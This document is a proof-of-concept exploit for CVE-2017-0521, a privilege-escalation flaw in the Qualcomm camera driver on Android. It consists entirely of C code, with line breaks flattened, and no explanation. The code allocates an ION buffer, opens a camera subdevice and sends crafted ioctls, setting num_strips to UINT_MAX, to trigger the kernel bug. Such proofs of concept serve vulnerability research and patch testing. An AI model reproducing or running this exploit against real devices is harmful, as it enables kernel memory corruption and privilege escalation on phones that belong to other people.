Google Android Qualcomm Camera Driver Multiple Privilege Escalation Vulnerabilities (CVE-2017-0521)

#include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <linux/videodev2.h> #include <sys/mman.h> #include <linux/ion.h> //#include <ion/ion.h> #include <linux/types.h> /* Should be same as VIDEO_MAX_PLANES in videodev2.h */ #define MAX_PLANES VIDEO_MAX_PLANES /* PARTIAL_FRAME_STRIPE_COUNT must be even */ #define PARTIAL_FRAME_STRIPE_COUNT 4 #define MAX_NUM_CPP_STRIPS 8 #define MSM_CPP_MAX_NUM_PLANES 3 #define MSM_CPP_MIN_FRAME_LENGTH 13 #define MSM_CPP_MAX_FRAME_LENGTH 4096 #define MSM_CPP_MAX_FW_NAME_LEN 32 #define MAX_FREQ_TBL 10 enum msm_cpp_frame_type { MSM_CPP_OFFLINE_FRAME, MSM_CPP_REALTIME_FRAME, }; enum msm_vpe_frame_type { MSM_VPE_OFFLINE_FRAME, MSM_VPE_REALTIME_FRAME, }; struct msm_cpp_frame_strip_info { uint32_t scale_v_en; uint32_t scale_h_en; uint32_t upscale_v_en; uint32_t upscale_h_en; int32_t src_start_x; uint32_t src_end_x; int32_t src_start_y; uint32_t src_end_y; /* extra 5th and 6th layer parameters */ int32_t extra_src_start_x; int32_t extra_src_end_x; int32_t extra_src_start_y; int32_t extra_src_end_y; int32_t extra_initial_vertical_count[2]; int32_t extra_initial_horizontal_count[2]; /* crop downscale 32x pixels */ int32_t extra_left_crop; int32_t extra_top_crop; int32_t extra_pad_bottom; int32_t extra_pad_top; int32_t extra_pad_right; int32_t extra_pad_left; int32_t extra_upscale_width; int32_t extra_upscale_height; uint32_t temporal_pad_bottom; uint32_t temporal_pad_top; uint32_t temporal_pad_right; uint32_t temporal_pad_left; int32_t temporal_src_start_x; uint32_t temporal_src_end_x; int32_t temporal_src_start_y; uint32_t temporal_src_end_y; /* Padding is required for upscaler because it does not * pad internally like other blocks, also needed for rotation * rotation expects all the blocks in the stripe to be the same size * Padding is done such that all the extra padded pixels * are on the right and bottom */ uint32_t pad_bottom; uint32_t pad_top; uint32_t pad_right; uint32_t pad_left; uint32_t v_init_phase; uint32_t h_init_phase; uint32_t h_phase_step; uint32_t v_phase_step; uint32_t spatial_denoise_crop_width_first_pixel; uint32_t spatial_denoise_crop_width_last_pixel; uint32_t spatial_denoise_crop_height_first_line; uint32_t spatial_denoise_crop_height_last_line; uint32_t sharpen_crop_height_first_line; uint32_t sharpen_crop_height_last_line; uint32_t sharpen_crop_width_first_pixel; uint32_t sharpen_crop_width_last_pixel; uint32_t temporal_denoise_crop_width_first_pixel; uint32_t temporal_denoise_crop_width_last_pixel; uint32_t temporal_denoise_crop_height_first_line; uint32_t temporal_denoise_crop_height_last_line; uint32_t prescaler_spatial_denoise_crop_width_first_pixel; uint32_t prescaler_spatial_denoise_crop_width_last_pixel; uint32_t prescaler_spatial_denoise_crop_height_first_line; uint32_t prescaler_spatial_denoise_crop_height_last_line; uint32_t state_crop_width_first_pixel; uint32_t state_crop_width_last_pixel; uint32_t state_crop_height_first_line; uint32_t state_crop_height_last_line; int32_t dst_start_x; uint32_t dst_end_x; int32_t dst_start_y; uint32_t dst_end_y; int32_t temporal_dst_start_x; uint32_t temporal_dst_end_x; int32_t temporal_dst_start_y; uint32_t temporal_dst_end_y; uint32_t input_bytes_per_pixel; uint32_t output_bytes_per_pixel; uint32_t temporal_bytes_per_pixel; uint32_t source_address[2]; uint32_t extra_source_address[2]; uint32_t destination_address[2]; /* source_address[1] is used for CbCR planar * to CbCr interleaved conversion */ uint32_t temporal_source_address[2]; /* destination_address[1] is used for CbCr interleved * to CbCr planar conversion */ uint32_t temporal_destination_address[2]; uint32_t src_stride; uint32_t dst_stride; uint32_t rotate_270; uint32_t horizontal_flip; uint32_t vertical_flip; uint32_t scale_output_width; uint32_t scale_output_height; uint32_t spatial_denoise_crop_en; uint32_t sharpen_crop_en; uint32_t temporal_denoise_crop_en; uint32_t prescaler_spatial_denoise_crop_en; uint32_t state_crop_en; int32_t we_h_init; int32_t we_v_init; int32_t we_h_step; int32_t we_v_step; }; struct msm_cpp_buffer_info_t { int32_t fd; uint32_t index; uint32_t offset; uint8_t native_buff; uint8_t processed_divert; uint32_t identity; }; struct msm_cpp_stream_buff_info_t { uint32_t identity; uint32_t num_buffs; struct msm_cpp_buffer_info_t *buffer_info; }; enum msm_cpp_batch_mode_t { BATCH_MODE_NONE, BATCH_MODE_VIDEO, BATCH_MODE_PREVIEW }; struct msm_cpp_batch_info_t { enum msm_cpp_batch_mode_t batch_mode; uint32_t batch_size; uint32_t intra_plane_offset[MAX_PLANES]; uint32_t pick_preview_idx; uint32_t cont_idx; }; struct msm_cpp_frame_info_t { int32_t frame_id; struct timeval timestamp; uint32_t inst_id; uint32_t identity; uint32_t client_id; enum msm_cpp_frame_type frame_type; uint32_t num_strips; struct msm_cpp_frame_strip_info __user *strip_info; uint32_t msg_len; uint32_t *cpp_cmd_msg; int src_fd; int dst_fd; struct timeval in_time, out_time; void __user *cookie; int32_t *status; int32_t duplicate_output; uint32_t duplicate_identity; uint32_t feature_mask; uint8_t we_disable; struct msm_cpp_buffer_info_t input_buffer_info; struct msm_cpp_buffer_info_t output_buffer_info[8]; struct msm_cpp_buffer_info_t duplicate_buffer_info; struct msm_cpp_buffer_info_t tnr_scratch_buffer_info[2]; uint32_t reserved; uint8_t partial_frame_indicator; /* the followings are used only for partial_frame type * and is only used for offline frame processing and * only if payload big enough and need to be split into partial_frame * if first_payload, kernel acquires output buffer * first payload must have the last stripe * buffer addresses from 0 to last_stripe_index are updated. * kernel updates payload with msg_len and stripe_info * kernel sends top level, plane level, then only stripes * starting with first_stripe_index and * ends with last_stripe_index * kernel then sends trailing flag at frame done, * if last payload, kernel queues the output buffer to HAL */ uint8_t first_payload; uint8_t last_payload; uint32_t first_stripe_index; uint32_t last_stripe_index; uint32_t stripe_info_offset; uint32_t stripe_info; struct msm_cpp_batch_info_t batch_info; }; struct msm_cpp_pop_stream_info_t { int32_t frame_id; uint32_t identity; }; struct cpp_hw_info { uint32_t cpp_hw_version; uint32_t cpp_hw_caps; unsigned long freq_tbl[MAX_FREQ_TBL]; uint32_t freq_tbl_count; }; struct msm_vpe_frame_strip_info { uint32_t src_w; uint32_t src_h; uint32_t dst_w; uint32_t dst_h; uint32_t src_x; uint32_t src_y; uint32_t phase_step_x; uint32_t phase_step_y; uint32_t phase_init_x; uint32_t phase_init_y; }; struct msm_vpe_buffer_info_t { int32_t fd; uint32_t index; uint32_t offset; uint8_t native_buff; uint8_t processed_divert; }; struct msm_vpe_stream_buff_info_t { uint32_t identity; uint32_t num_buffs; struct msm_vpe_buffer_info_t *buffer_info; }; struct msm_vpe_frame_info_t { int32_t frame_id; struct timeval timestamp; uint32_t inst_id; uint32_t identity; uint32_t client_id; enum msm_vpe_frame_type frame_type; struct msm_vpe_frame_strip_info strip_info; unsigned long src_fd; unsigned long dst_fd; struct ion_handle *src_ion_handle; struct ion_handle *dest_ion_handle; unsigned long src_phyaddr; unsigned long dest_phyaddr; unsigned long src_chroma_plane_offset; unsigned long dest_chroma_plane_offset; struct timeval in_time, out_time; void *cookie; struct msm_vpe_buffer_info_t input_buffer_info; struct msm_vpe_buffer_info_t output_buffer_info; }; #define VIDIOC_MSM_CPP_CFG \ _IOWR('V', BASE_VIDIOC_PRIVATE, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_GET_EVENTPAYLOAD \ _IOWR('V', BASE_VIDIOC_PRIVATE + 1, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_GET_INST_INFO \ _IOWR('V', BASE_VIDIOC_PRIVATE + 2, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_LOAD_FIRMWARE \ _IOWR('V', BASE_VIDIOC_PRIVATE + 3, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_GET_HW_INFO \ _IOWR('V', BASE_VIDIOC_PRIVATE + 4, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_FLUSH_QUEUE \ _IOWR('V', BASE_VIDIOC_PRIVATE + 5, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO \ _IOWR('V', BASE_VIDIOC_PRIVATE + 6, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_DEQUEUE_STREAM_BUFF_INFO \ _IOWR('V', BASE_VIDIOC_PRIVATE + 7, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_VPE_CFG \ _IOWR('V', BASE_VIDIOC_PRIVATE + 8, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_VPE_TRANSACTION_SETUP \ _IOWR('V', BASE_VIDIOC_PRIVATE + 9, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_VPE_GET_EVENTPAYLOAD \ _IOWR('V', BASE_VIDIOC_PRIVATE + 10, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_VPE_GET_INST_INFO \ _IOWR('V', BASE_VIDIOC_PRIVATE + 11, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_VPE_ENQUEUE_STREAM_BUFF_INFO \ _IOWR('V', BASE_VIDIOC_PRIVATE + 12, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_VPE_DEQUEUE_STREAM_BUFF_INFO \ _IOWR('V', BASE_VIDIOC_PRIVATE + 13, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_QUEUE_BUF \ _IOWR('V', BASE_VIDIOC_PRIVATE + 14, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_APPEND_STREAM_BUFF_INFO \ _IOWR('V', BASE_VIDIOC_PRIVATE + 15, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_SET_CLOCK \ _IOWR('V', BASE_VIDIOC_PRIVATE + 16, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_POP_STREAM_BUFFER \ _IOWR('V', BASE_VIDIOC_PRIVATE + 17, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_IOMMU_ATTACH \ _IOWR('V', BASE_VIDIOC_PRIVATE + 18, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_IOMMU_DETACH \ _IOWR('V', BASE_VIDIOC_PRIVATE + 19, struct msm_camera_v4l2_ioctl_t) #define VIDIOC_MSM_CPP_DELETE_STREAM_BUFF\ _IOWR('V', BASE_VIDIOC_PRIVATE + 20, struct msm_camera_v4l2_ioctl_t) #define V4L2_EVENT_CPP_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 0) #define V4L2_EVENT_VPE_FRAME_DONE (V4L2_EVENT_PRIVATE_START + 1) struct msm_camera_v4l2_ioctl_t { uint32_t id; size_t len; int32_t trans_code; void __user *ioctl_ptr; }; #define MSM_CPP_MSG_ID_TRAILER 0xABCDEFAA int ion_open() { int fd = open("/dev/ion", O_RDONLY); return fd; } static int ion_ioctl(int fd, int req, void *arg) { int ret = ioctl(fd, req, arg); return ret; } int ion_alloc(int fd, size_t len, size_t align, unsigned int heap_mask, unsigned int flags, ion_user_handle_t *handle) { int ret; struct ion_allocation_data data = { .len = len, .align = align, .heap_id_mask = heap_mask, .flags = flags, //.handle = handle, }; if (handle == NULL) return -EINVAL; ret = ion_ioctl(fd, ION_IOC_ALLOC, &data); if (ret < 0) return ret; *handle = data.handle; return ret; } static void ion_get_fd(int fd, ion_user_handle_t *handle, int *buf_fd) { union { struct ion_fd_data fd; struct ion_allocation_data allocation; struct ion_handle_data handle; struct ion_custom_data custom; } data; memset(&data, 0, sizeof(data)); data.handle.handle = *handle; int ret = ioctl(fd, ION_IOC_SHARE, &data); printf("ret is %d with strerror %s\n", ret, strerror(errno)); *buf_fd = data.fd.fd; printf("buf_fd = %d\n", *buf_fd); } int main(int argc, char **argv) { int fd; int ion_fd; int buf_fd = -1; int ret; const size_t frame_size = 446; ion_user_handle_t ion_handle; uint32_t buf[frame_size]; struct msm_camera_v4l2_ioctl_t request = { 0 }; struct msm_cpp_frame_info_t frame_info; struct msm_cpp_buffer_info_t buff_info; struct msm_cpp_stream_buff_info_t stream_buff_info; memset(&buf, 0x00, sizeof(buf)); memset(&frame_info, 0x01, sizeof(frame_info)); memset(&buff_info, 0x00, sizeof(buff_info)); memset(&stream_buff_info, 0x00, sizeof(stream_buff_info)); ion_fd = ion_open(); if(ion_fd < 0) { printf("Failed to open ion dev, reason: %s\n", strerror(errno)); exit(-1); } ret = ion_alloc(ion_fd, 0x1000, 0, 0xfffffff, ION_FLAG_CACHED | ION_FLAG_CACHED_NEEDS_SYNC, &ion_handle); if(ret) { printf("ion_alloc failed, reason: %s\n", strerror(errno)); exit(-1); } ion_get_fd(ion_fd, &ion_handle, &buf_fd); //fd = open("/dev/v4l-subdev12", O_RDWR); char devs[256] = { 0 }; //int i; // for (i = 0; i < 10; i++) { // v4l-subdev0 sprintf(devs, "/dev/v4l-subdev%d", atoi(argv[1])); fd = open(devs, O_RDWR); if (fd < 0) { printf("Couldn't open %s, reason: %s\n", devs, strerror(errno)); exit(1); } request.len = sizeof(stream_buff_info); request.ioctl_ptr = &stream_buff_info; stream_buff_info.num_buffs = 1; stream_buff_info.identity = 0x27BC86AA;//6666666666 stream_buff_info.buffer_info = &buff_info; frame_info.identity = stream_buff_info.identity; buff_info.fd = buf_fd; buff_info.identity = 0x27BC86AA;//66666666660x1234CDEF; buff_info.index = 0; buff_info.native_buff = 1; ret = ioctl(fd, VIDIOC_MSM_CPP_ENQUEUE_STREAM_BUFF_INFO, &request); printf("ret done with %d\n", ret); ret = ioctl(fd, VIDIOC_MSM_CPP_IOMMU_ATTACH, &request); printf("ret done with %d\n", ret); buf[frame_size - 1] = MSM_CPP_MSG_ID_TRAILER; frame_info.msg_len = frame_size; frame_info.cpp_cmd_msg = buf; frame_info.num_strips = UINT_MAX; frame_info.we_disable = 1; frame_info.duplicate_output = 0; frame_info.feature_mask = 0; frame_info.input_buffer_info = buff_info; request.len = sizeof(frame_info); request.ioctl_ptr = &frame_info; ret = ioctl(fd, VIDIOC_MSM_CPP_CFG, &request); // } close(fd); }